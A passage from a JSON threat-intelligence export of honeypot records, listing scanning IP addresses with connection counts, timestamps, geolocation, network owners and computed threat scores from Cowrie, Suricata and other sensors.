      "city": "Lahore",
      "asn": 136969,
      "as_org": "KK Networks Pvt Ltd.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T13:39:16.228000+00:00",
        "last_seen_30d": "2026-05-14T13:40:30.838000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.221.46.73": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:56:22.995Z",
      "last_seen": "2026-05-23T08:56:23.730Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:56:22.995000+00:00",
        "last_seen_30d": "2026-05-23T08:57:31.298000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.164.169.95": {
      "attack_count": 2,
      "first_seen": "2026-05-23T13:11:52.224Z",
      "last_seen": "2026-05-23T13:12:46.928Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:11:52.224000+00:00",
        "last_seen_30d": "2026-05-23T13:13:48.217000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.59.239.83": {
      "attack_count": 2,
      "first_seen": "2026-05-27T20:31:08.124Z",
      "last_seen": "2026-05-27T20:31:08.648Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Guaran\u00e9sia",
      "asn": 263154,
      "as_org": "AVANCAR INTERNET",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T20:31:08.124000+00:00",
        "last_seen_30d": "2026-05-27T20:41:12.404000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "151.240.56.57": {
      "attack_count": 2,
      "first_seen": "2026-05-12T20:07:08.801Z",
      "last_seen": "2026-05-12T20:07:09.633Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Charleston",
      "asn": 137409,
      "as_org": "GSL Networks Pty LTD",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.5,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 2,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-12T20:06:53+00:00",
        "last_seen_30d": "2026-05-13T02:57:21.424000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 18,
        "Cowrie": 2
      }
    },
    "162.216.150.103": {
      "attack_count": 2,
      "first_seen": "2026-05-29T06:43:19.352Z",
      "last_seen": "2026-05-29T06:43:29.157Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Charleston",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 68.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.1,
        "persistence": 20.8,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 25,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T12:21:02.380000+00:00",
        "last_seen_30d": "2026-05-31T07:29:53.515000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 5,
        "Cowrie": 2
      }
    },
    "170.81.150.47": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:29:49.683Z",
      "last_seen": "2026-05-19T06:30:02.012Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Bento do Sapuca\u00ed",
      "asn": 266427,
      "as_org": "CINTIA AUXILIADORA DE ALCANTARA BARBOSA - ME",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:29:49.683000+00:00",
        "last_seen_30d": "2026-05-19T06:31:07.733000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.26.115.140": {
      "attack_count": 2,
      "first_seen": "2026-05-07T08:20:49.334Z",
      "last_seen": "2026-05-07T08:21:02.903Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Glew",
      "asn": 22927,
      "as_org": "Telefonica de Argentina",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T08:20:49.334000+00:00",
        "last_seen_30d": "2026-05-07T08:22:09.005000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.147.162.33": {
      "attack_count": 2,
      "first_seen": "2026-05-25T01:09:20.719Z",
      "last_seen": "2026-05-25T01:09:32.773Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T01:09:20.719000+00:00",
        "last_seen_30d": "2026-05-25T01:10:34.752000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.99.131.197": {
      "attack_count": 2,
      "first_seen": "2026-05-23T04:27:49.263Z",
      "last_seen": "2026-05-23T04:28:02.911Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Pyeongtaek-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T04:27:49.263000+00:00",
        "last_seen_30d": "2026-05-23T04:29:03.347000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.88.60.205": {
      "attack_count": 2,
      "first_seen": "2026-05-03T02:44:04.537Z",
      "last_seen": "2026-05-03T02:46:04.540Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Araras",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:44:04.537000+00:00",
        "last_seen_30d": "2026-05-03T02:56:43.501000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "189.155.118.194": {
      "attack_count": 2,
      "first_seen": "2026-05-04T09:21:40.464Z",
      "last_seen": "2026-05-04T09:21:52.837Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Durango",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T09:21:40.464000+00:00",
        "last_seen_30d": "2026-05-04T09:22:55.094000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "191.37.23.146": {
      "attack_count": 2,
      "first_seen": "2026-05-09T11:18:58.017Z",
      "last_seen": "2026-05-09T11:19:10.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cachoeira de Paje\u00fa",
      "asn": 263349,
      "as_org": "RapeedoISP LTDA",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T11:18:58.017000+00:00",
        "last_seen_30d": "2026-05-09T11:20:14.597000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "192.116.164.233": {
      "attack_count": 2,
      "first_seen": "2026-05-24T10:59:20.295Z",
      "last_seen": "2026-05-24T10:59:33.631Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Reshafim",
      "asn": 12400,
      "as_org": "Partner Communications Ltd.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T10:59:20.295000+00:00",
        "last_seen_30d": "2026-05-24T11:00:43.058000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.121": {
      "attack_count": 2,
      "first_seen": "2026-05-24T07:54:46.554Z",
      "last_seen": "2026-05-24T07:55:17.644Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 29,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T03:52:06+00:00",
        "last_seen_30d": "2026-05-31T20:42:01.064000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 17,
        "Cowrie": 2,
        "H0neytr4p": 1
      }
    },
    "2.37.167.195": {
      "attack_count": 2,
      "first_seen": "2026-05-21T11:34:02.350Z",
      "last_seen": "2026-05-21T11:34:15.709Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Bologna",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T11:34:02.350000+00:00",
        "last_seen_30d": "2026-05-21T11:35:22.942000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "202.107.103.83": {
      "attack_count": 2,
      "first_seen": "2026-05-09T21:48:42.081Z",
      "last_seen": "2026-05-09T21:48:56.011Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T21:48:42.081000+00:00",
        "last_seen_30d": "2026-05-09T21:50:00.373000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.61.113.28": {
      "attack_count": 2,
      "first_seen": "2026-05-08T12:43:52.214Z",
      "last_seen": "2026-05-08T12:44:05.162Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": "Baku",
      "asn": 28787,
      "as_org": "Aztelekom LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:43:52.214000+00:00",
        "last_seen_30d": "2026-05-08T12:45:15.233000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.215.23.150": {
      "attack_count": 2,
      "first_seen": "2026-05-06T16:54:23.758Z",
      "last_seen": "2026-05-06T16:54:36.569Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 15808,
      "as_org": "ACCESSKENYA-KE ACCESSKENYA GROUP LTD is an ISP serving",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T16:54:23.758000+00:00",
        "last_seen_30d": "2026-05-06T16:55:39.329000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.249.85.119": {
      "attack_count": 2,
      "first_seen": "2026-05-13T11:49:18.368Z",
      "last_seen": "2026-05-13T11:49:31.879Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 17747,
      "as_org": "SITI NETWORKS LIMITED",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T11:49:18.368000+00:00",
        "last_seen_30d": "2026-05-13T11:50:34.841000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.70.166.50": {
      "attack_count": 2,
      "first_seen": "2026-05-02T09:06:17.962Z",
      "last_seen": "2026-05-02T09:06:30.730Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 267578,
      "as_org": "WILLIAN MENDES DE OLIVEIRA ME",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:06:17.962000+00:00",
        "last_seen_30d": "2026-05-02T09:07:39.142000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.245.117.221": {
      "attack_count": 2,
      "first_seen": "2026-05-03T03:37:06.553Z",
      "last_seen": "2026-05-03T03:37:16.650Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 67.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.8,
        "persistence": 24.2,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 29,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T03:37:06.553000+00:00",
        "last_seen_30d": "2026-05-31T23:13:58.177000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "H0neytr4p": 24,
        "Suricata": 21,
        "Cowrie": 2,
        "Tanner": 1
      }
    },
    "49.43.159.98": {
      "attack_count": 2,
      "first_seen": "2026-05-21T05:24:03.162Z",
      "last_seen": "2026-05-21T05:26:03.165Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Aligarh",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T05:24:03.162000+00:00",
        "last_seen_30d": "2026-05-21T05:36:45.193000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "60.45.238.59": {
      "attack_count": 2,
      "first_seen": "2026-05-16T18:43:16.571Z",
      "last_seen": "2026-05-16T18:45:16.598Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T18:43:16.571000+00:00",
        "last_seen_30d": "2026-05-16T18:46:23.028000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "79.106.125.175": {
      "attack_count": 2,
      "first_seen": "2026-05-02T18:21:19.473Z",
      "last_seen": "2026-05-02T18:23:19.474Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Albania",
      "country_code": "AL",
      "city": "Tirana",
      "asn": 42313,
      "as_org": "One Albania Sh.a.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T18:21:19.473000+00:00",
        "last_seen_30d": "2026-05-02T18:34:00.804000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "81.27.53.53": {
      "attack_count": 2,
      "first_seen": "2026-05-08T13:24:00.195Z",
      "last_seen": "2026-05-08T13:24:12.187Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kirzhach",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T13:24:00.195000+00:00",
        "last_seen_30d": "2026-05-08T13:25:18.905000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.60.183.47": {
      "attack_count": 2,
      "first_seen": "2026-05-04T16:29:21.013Z",
      "last_seen": "2026-05-04T16:31:21.015Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Duderstadt",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:29:21.013000+00:00",
        "last_seen_30d": "2026-05-04T16:41:59.714000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.80.157.181": {
      "attack_count": 2,
      "first_seen": "2026-05-17T06:15:37.648Z",
      "last_seen": "2026-05-17T06:15:50.995Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "San Giustino Valdarno",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T06:15:37.648000+00:00",
        "last_seen_30d": "2026-05-17T06:16:53.408000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.42.251.178": {
      "attack_count": 15849,
      "first_seen": "2026-05-02T17:36:57.403Z",
      "last_seen": "2026-05-03T02:42:30.507Z",
      "sessions": 7926,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed"
      ],
      "country": "Lebanon",
      "country_code": "LB",
      "city": null,
      "asn": 42020,
      "as_org": "OGERO",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 23945,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T17:36:57.403000+00:00",
        "last_seen_30d": "2026-05-03T02:43:39.203000+00:00",
        "days_since_last_seen": 28
      },
